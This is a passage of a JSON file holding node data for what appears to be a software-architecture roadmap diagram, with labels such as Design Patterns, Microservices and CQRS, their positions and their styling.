\"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eEO-WeNIyjErBE53n8JsD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -318.1381872719935,\n        \"y\": 877.7051467174066\n      }\n    },\n    {\n      \"id\": \"eEO-WeNIyjErBE53n8JsD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -318.1381872719935,\n        \"y\": 930.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"YAGNI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -318.1381872719935,\n        \"y\": 930.7051467174066\n      }\n    },\n    {\n      \"id\": \"Jd79KXxZavpnp3mtE1q0n\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 94.8618127280065,\n        \"y\": 1019.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h0aeBhQRkDxNeFwDxT4Tf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 94.8618127280065,\n        \"y\": 1019.7051467174065\n      }\n    },\n    {\n      \"id\": \"hlHl00ELlK9YdnzHDGnEW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 188.8618127280065,\n        \"y\": 1111.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GoF Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6VoDGFOPHj5p_gvaZ8kTt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 188.8618127280065,\n        \"y\": 1111.4007482223487\n      }\n    },\n    {\n      \"id\": \"6VoDGFOPHj5p_gvaZ8kTt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 188.8618127280065,\n        \"y\": 1164.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"PoSA Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 188.8618127280065,\n        \"y\": 1164.4007482223487\n      }\n    },\n    {\n      \"id\": \"dBq7ni-of5v1kxpdmh227\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 94.8618127280065,\n        \"y\": 1553.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Architectural Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h0aeBhQRkDxNeFwDxT4Tf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 94.8618127280065,\n        \"y\": 1553.9007482223487\n      }\n    },\n    {\n      \"id\": \"8Bm0sRhUg6wZtnvtTmpgY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 189.88625207048023,\n        \"y\": 1289.610395110492\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Component Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-Kw8hJhgQH2qInUFj2TUe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 189.88625207048023,\n        \"y\": 1289.610395110492\n      }\n    },\n    {\n      \"id\": \"b_PvjjL2ZpEKETa5_bd0v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 189.88625207048023,\n        \"y\": 1342.610395110492\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Policy vs Detail\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-Kw8hJhgQH2qInUFj2TUe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 189.88625207048023,\n        \"y\": 1342.610395110492\n      }\n    },\n    {\n      \"id\": \"TXus3R5vVQDBeBag6B5qs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 189.88625207048023,\n        \"y\": 1395.610395110492\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Coupling and Cohesion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-Kw8hJhgQH2qInUFj2TUe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 189.88625207048023,\n        \"y\": 1395.610395110492\n      }\n    },\n    {\n      \"id\": \"-Kw8hJhgQH2qInUFj2TUe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 188.8618127280065,\n        \"y\": 1448.610395110492\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Boundaries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 188.8618127280065,\n        \"y\": 1448.610395110492\n      }\n    },\n    {\n      \"id\": \"37xWxG2D9lVuDsHUgLfzP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -289.3282213632988,\n        \"y\": 1553.6208448974862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Architectural Styles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h0aeBhQRkDxNeFwDxT4Tf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -289.3282213632988,\n        \"y\": 1553.6208448974862\n      }\n    },\n    {\n      \"id\": \"j9j45Auf60kIskyEMUGE3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3282213632988,\n        \"y\": 1426.0405202008678\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Messaging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"86Jw9kMBD7YP5nTV5jTz-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3282213632988,\n        \"y\": 1426.0405202008678\n      }\n    },\n    {\n      \"id\": \"KtzcJBb6-EcIoXnwYvE7a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -329.3282213632988,\n        \"y\": 1320.0405202008678\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Event-Driven\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IELEJcKYdZ6VN-UIq-Wln\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3282213632988,\n        \"y\": 1320.0405202008678\n      }\n    },\n    {\n      \"id\": \"SX4vOVJY9slOXGwX_q1au\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -329.3282213632988,\n        \"y\": 1373.0405202008678\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Publish-Subscribe\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3282213632988,\n        \"y\": 1373.0405202008678\n      }\n    },\n    {\n      \"id\": \"3V74lLPlcOXFB-QRTUA5j\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -123.39712154422624,\n        \"y\": 1426.0405202008678\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Distributed\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"86Jw9kMBD7YP5nTV5jTz-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -123.39712154422624,\n        \"y\": 1426.0405202008678\n      }\n    },\n    {\n      \"id\": \"ZGIMUaNfBwE5b6O1yexSz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -123.37268220175247,\n        \"y\": 1317.5497203099687\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Client-Server\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"a0geFJWl-vi3mYytTjYdb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -123.37268220175247,\n        \"y\": 1317.5497203099687\n      }\n    },\n    {\n      \"id\": \"Cf9Z2wxBcbnNg_q9PA6xA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -122.37268220175247,\n        \"y\": 1370.5497203099687\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Peer-to-Peer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IELEJcKYdZ6VN-UIq-Wln\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -122.37268220175247,\n        \"y\": 1370.5497203099687\n      }\n    },\n    {\n      \"id\": \"86Jw9kMBD7YP5nTV5jTz-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -691.6137479295197,\n        \"y\": 1558.6208448974862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Structural\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.6137479295197,\n        \"y\": 1558.6208448974862\n      }\n    },\n    {\n      \"id\": \"a0geFJWl-vi3mYytTjYdb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -691.6137479295197,\n        \"y\": 1451.6208448974862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Component-Based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IELEJcKYdZ6VN-UIq-Wln\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.6137479295197,\n        \"y\": 1451.6208448974862\n      }\n    },\n    {\n      \"id\": \"xYPR_X1KhBwdpqYzNJiuT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -691.6137479295197,\n        \"y\": 1504.6208448974862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Monolithic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IELEJcKYdZ6VN-UIq-Wln\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.6137479295197,\n        \"y\": 1504.6208448974862\n      }\n    },\n    {\n      \"id\": \"IELEJcKYdZ6VN-UIq-Wln\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -565.6137479295197,\n        \"y\": 1504.6208448974862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Layered\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SX4vOVJY9slOXGwX_q1au\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -565.6137479295197,\n        \"y\": 1504.6208448974862\n      }\n    },\n    {\n      \"id\": \"WdXJlH985x9GhAQfif26x\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -325.1381872719935,\n        \"y\": 1477.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 394,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -325.1381872719935,\n        \"y\": 1477.9007482223487\n      }\n    },\n    {\n      \"id\": \"2uTlVYj9CvYcqtv9TN_8K\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -419.6137479295197,\n        \"y\": 1451.6208448974862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 154\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -419.6137479295197,\n        \"y\": 1451.6208448974862\n      }\n    },\n    {\n      \"id\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -289.3282213632988,\n        \"y\": 1841.7672657344651\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Architectural Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h0aeBhQRkDxNeFwDxT4Tf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -289.3282213632988,\n        \"y\": 1841.7672657344651\n      }\n    },\n    {\n      \"id\": \"CD20zA6k9FxUpMgHnNYRJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1682.7672657344651\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Domain-Driven Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IU86cGkLPMXUJKvTBywPu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1682.7672657344651\n      }\n    },\n    {\n      \"id\": \"-arChRC9zG2DBmuSTHW0J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1735.7672657344651\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model-View Controller\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IU86cGkLPMXUJKvTBywPu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1735.7672657344651\n      }\n    },\n    {\n      \"id\": \"eJsCCURZAURCKnOK-XeQe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1788.7672657344651\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Microservices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IU86cGkLPMXUJKvTBywPu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1788.7672657344651\n      }\n    },\n    {\n      \"id\": \"Kk7u2B67Fdg2sU8E_PGqr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1841.7672657344651\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Blackboard Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IU86cGkLPMXUJKvTBywPu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1841.7672657344651\n      }\n    },\n    {\n      \"id\": \"r-Yeca-gpdFM8iq7f0lYQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1894.7672657344651\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Microkernel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IU86cGkLPMXUJKvTBywPu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1894.7672657344651\n      }\n    },\n    {\n      \"id\": \"5WSvAA3h3lmelL53UJSMy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1947.7672657344651\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Serverless Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IU86cGkLPMXUJKvTBywPu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1947.7672657344651\n      }\n    },\n    {\n      \"id\": \"GAs6NHBkUgxan3hyPvVs7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 2000.7672657344651\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Message Queues / Streams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IU86cGkLPMXUJKvTBywPu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 2000.7672657344651\n      }\n    },\n    {\n      \"id\": \"K8X_-bsiy7gboInPzbiEb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 2053.767265734465\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Event Sourcing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IU86cGkLPMXUJKvTBywPu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 2053.767265734465\n      }\n    },\n    {\n      \"id\": \"FysFru2FJN4d4gj11gv--\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 2106.767265734465\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SOA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IU86cGkLPMXUJKvTBywPu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 2106.767265734465\n      }\n    },\n    {\n      \"id\": \"IU86cGkLPMXUJKvTBywPu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -562.1381872719935,\n        \"y\": 2106.767265734465\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CQRS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      